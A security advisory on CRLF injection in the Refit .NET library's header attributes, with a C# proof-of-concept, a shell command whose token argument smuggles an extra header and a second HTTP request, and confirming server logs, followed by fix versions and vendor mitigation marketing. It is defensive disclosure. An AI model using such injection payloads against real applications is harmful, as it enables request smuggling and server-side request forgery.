GHSA-3hxg-fxwm-8gf7
CRITICALCRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.
This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:
using Refit;
internal class Program
{
private static void Main(string[] args)
{
// Usage: dotnet run <bearer token>
string token = args[0];
var service = RestService.For<IStatusApi>("http://insert.some.site.here");
string response = service.GetStatus(token).Result;
Console.WriteLine($"Response: {response}");
}
public interface IStatusApi
{
[Get("/status")]
Task<string> GetStatus([Authorize("Bearer")] string token);
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"
Impact
If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | Refit | all versions | 7.2.22 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Refit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update Refit to 7.2.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3hxg-fxwm-8gf7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3hxg-fxwm-8gf7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3hxg-fxwm-8gf7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3hxg-fxwm-8gf7 in your dependencies?
O3 detects GHSA-3hxg-fxwm-8gf7 across NuGet dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.